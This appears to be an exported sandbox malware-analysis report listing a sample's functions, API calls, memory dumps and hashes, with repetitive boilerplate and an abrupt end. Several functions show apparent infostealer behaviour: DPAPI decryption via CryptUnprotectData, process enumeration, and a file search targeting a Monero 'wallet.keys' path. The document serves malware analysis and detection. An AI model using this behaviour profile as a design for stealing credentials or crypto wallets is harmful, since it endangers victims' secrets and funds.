Function 006A6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 006A696C
sscanf.NTDLL ref: 006A6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 006A69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 006A69C0
ExitProcess.KERNEL32 ref: 006A69DA

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 84666b3225606d78b5d4df07f81fdecead05c56250d1d7d2ffa772dca24b76f5
Instruction ID: cf5eabca63612cf05bbabdfc4d92d67be60dbca19001e8de0b4efa4cfbceae10
Opcode Fuzzy Hash: 84666b3225606d78b5d4df07f81fdecead05c56250d1d7d2ffa772dca24b76f5
Instruction Fuzzy Hash: 9021EB75D10209ABCF48EFE4D945AEEB7BABF48300F14852EE416E3250EB345604CB69

Function 00697240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0069724D
RtlAllocateHeap.NTDLL(00000000), ref: 00697254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00697281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 006972A4
LocalFree.KERNEL32(?), ref: 006972AE

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: b009488dfe245241148f2cad0dae15033c64fb3720faa229bf58a6cc494ad58c
Instruction ID: ee03cf993f0893fe12efa29fa47c252e88b2cd44775738241044dc41d2fcbe9b
Opcode Fuzzy Hash: b009488dfe245241148f2cad0dae15033c64fb3720faa229bf58a6cc494ad58c
Instruction Fuzzy Hash: 1A014CB1A41208BBEB14DFD4CD4AF9E7BB8BB44B00F204155FB05AA2C0D6B0AA008B65

Function 006A9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 006A961E
Process32First.KERNEL32(006B0ACA,00000128), ref: 006A9632
Process32Next.KERNEL32(006B0ACA,00000128), ref: 006A9647
StrCmpCA.SHLWAPI(?,00000000), ref: 006A965C
CloseHandle.KERNEL32(006B0ACA), ref: 006A967A

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: f6d4bfd35ad0421a34311597161d8df95b6a304e0aaef88abaaacd4e7e1944ce
Instruction ID: cba2f04aa5a7267499c93763c473aff84a4c29dc20b44cc1cfa9abbc0be0f0c7
Opcode Fuzzy Hash: f6d4bfd35ad0421a34311597161d8df95b6a304e0aaef88abaaacd4e7e1944ce
Instruction Fuzzy Hash: A0010C75A01208ABDB14DFA5CD48BEDB7F9FF49700F204299A905A6240DB749F40DF61

Function 00A63C98 Relevance: 7.5, Strings: 5, Instructions: 1212COMMON

Download Yara Rule

Strings

CP~, xrefs: 00A63D93
CP~, xrefs: 00A63DDA
!~}, xrefs: 00A643E3
[5}[, xrefs: 00A63F9E
~w, xrefs: 00A63EA8

Memory Dump Source

Source File: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !~}$CP~$CP~$[5}[$~w
API String ID: 0-1243999158
Opcode ID: 48cd9e7058a1a3b5e3264fae031b423d05b3e486476fde51c1403d9ce19b2bad
Instruction ID: c0d330ee74f0bd2960ff44dd0e09a559d1b18406282e7bd254986b41d869c3a3
Opcode Fuzzy Hash: 48cd9e7058a1a3b5e3264fae031b423d05b3e486476fde51c1403d9ce19b2bad
Instruction Fuzzy Hash: 2282E6F3A082109FE304AE2DEC8567ABBE5EB94720F16853DEAC4D3744E63598058797

Function 00A62326 Relevance: 7.3, Strings: 5, Instructions: 1094COMMON

Download Yara Rule

Strings

kGO^, xrefs: 00A62C53
*W, xrefs: 00A623C0
\o, xrefs: 00A62A7D
5m, xrefs: 00A62ACD
tK,~, xrefs: 00A62F7D

Memory Dump Source

Source File: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *W$5m$kGO^$tK,~$\o
API String ID: 0-2829524358
Opcode ID: 18d66bd8d15f026609caa022fe7d09303b5aebd313870a7bdbed936f53e3b335
Instruction ID: d9f306fcf482dc4299533b6f3686312f2a3446c61de5d4f2e7fcb4ec1855394b
Opcode Fuzzy Hash: 18d66bd8d15f026609caa022fe7d09303b5aebd313870a7bdbed936f53e3b335
Instruction Fuzzy Hash: AA7229F3A0C6109FE3046E2DEC85A7ABBE9EF94720F1A453DEAC5C7744E53558018792

Function 006A8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00695184,40000001,00000000,00000000,?,00695184), ref: 006A8EC0

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 347c9b48104dbe56207917fd6b194cc6c4e2c5f77a34897c44d1068f3b4d7d21
Instruction ID: 9a439d2c5484e90a78306417e0ff991dcd008350426b39ee2cc5c4f17519628f
Opcode Fuzzy Hash: 347c9b48104dbe56207917fd6b194cc6c4e2c5f77a34897c44d1068f3b4d7d21
Instruction Fuzzy Hash: 69110670200209EFDB04EF64E884FAB37AABF8A340F109558F9198B250DB35EC41DF60

Function 006A7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0126F238,00000000,?,006B0E10,00000000,?,00000000,00000000), ref: 006A7A63
RtlAllocateHeap.NTDLL(00000000), ref: 006A7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0126F238,00000000,?,006B0E10,00000000,?,00000000,00000000,?), ref: 006A7A7D
wsprintfA.USER32 ref: 006A7AB7

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 04b651bda692fee1dd872fdfed394c7d46f349886dcdd88bc93a880669b357bd
Instruction ID: bbf27f3a3e070804a67f96b8f8255eb22f867e9a13d4e51a6c7a3c3a75d0f28a
Opcode Fuzzy Hash: 04b651bda692fee1dd872fdfed394c7d46f349886dcdd88bc93a880669b357bd
Instruction Fuzzy Hash: 2F11A5B1946228EBEB14DF54DC45FAAB778F705711F1043A6EA06932C0C7745E40CF51

Function 006A3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(006AE118,00000000,00000001,006AE108,00000000), ref: 006A3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 006A37B0

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 6d4c15dcab31ae23d9124caf8e7c7da9daefe018e24b401cdbf768cdc89d2b48
Instruction ID: ba29e8f362df5c301f79ac502ede86b35bb08e48bc5412a8c11b032079fc0d73
Opcode Fuzzy Hash: 6d4c15dcab31ae23d9124caf8e7c7da9daefe018e24b401cdbf768cdc89d2b48
Instruction Fuzzy Hash: 9641F670A00A289FDB24DF58CC95B9BB7B5BB49702F4041D8F609A72D0E7B1AE85CF50

Function 00699B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00699B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00699BA3
LocalFree.KERNEL32(?), ref: 00699BD3

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: cf75dbba2050ac36c6e1c58f7fe772d1c6af206f65894ac1c981a254c29399bf
Instruction ID: 3a73d9ed88448380f6f3171554266cbcf2e09e6a586cde93ad63215510eb7a4f
Opcode Fuzzy Hash: cf75dbba2050ac36c6e1c58f7fe772d1c6af206f65894ac1c981a254c29399bf
Instruction Fuzzy Hash: A411FAB4A01209EFCB04DF98D985AAE77B9FF88300F104569E915A7350D774AE10CF61

Function 00A5BD04 Relevance: 3.4, Strings: 2, Instructions: 917COMMON

Download Yara Rule

Strings

2Eog, xrefs: 00A5C407
S|l{, xrefs: 00A5C1DC

Memory Dump Source

Source File: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2Eog$S|l{
API String ID: 0-1362167614
Opcode ID: 86e6f25168ecf9cf4af30dea0f15e5ba117ae0d506a0434defbec09c7e75f9a8
Instruction ID: 588065f7a627f24aab1e7c795a51be1d963d77c5b3108f422b702a3f190eaaab
Opcode Fuzzy Hash: 86e6f25168ecf9cf4af30dea0f15e5ba117ae0d506a0434defbec09c7e75f9a8
Instruction Fuzzy Hash: 6452F4F3A0C2149FE304AF29EC8566AFBE5EF94720F16493DEAC4C3344E63558458A97

Function 0069F68A Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Part of subcall function 006AA920: lstrcpy.KERNEL32(00000000,?), ref: 006AA972
Part of subcall function 006AA920: lstrcat.KERNEL32(00000000), ref: 006AA982

Part of subcall function 006AA9B0: lstrlen.KERNEL32(?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006AA9C5
Part of subcall function 006AA9B0: lstrcpy.KERNEL32(00000000), ref: 006AAA04
Part of subcall function 006AA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006AAA12

Part of subcall function 006AA8A0: lstrcpy.KERNEL32(?,006B0E17), ref: 006AA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006B15B8,006B0D96), ref: 0069F71E
StrCmpCA.SHLWAPI(?,006B15BC), ref: 0069F76F
StrCmpCA.SHLWAPI(?,006B15C0), ref: 0069F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0069FAB1
FindClose.KERNEL32(000000FF), ref: 0069FAC3

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 33a500b65204339e4dedddf0f5430e980a90c8e31464113818fa859265fd54b8
Instruction ID: cb51aedcdeded0f3f6c7c3bd93384cd0512cf9a75ef626d824e78670e7e51ee8
Opcode Fuzzy Hash: 33a500b65204339e4dedddf0f5430e980a90c8e31464113818fa859265fd54b8
Instruction Fuzzy Hash: 2111A57180010DABDB94FBE0DC559EE737AAF12300F5142AEA51B56492EF342F4ACF56

Function 009E6A56 Relevance: 1.5, Strings: 1, Instructions: 208COMMON

Download Yara Rule

Strings

G>?w, xrefs: 009E6A93

Memory Dump Source

Source File: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
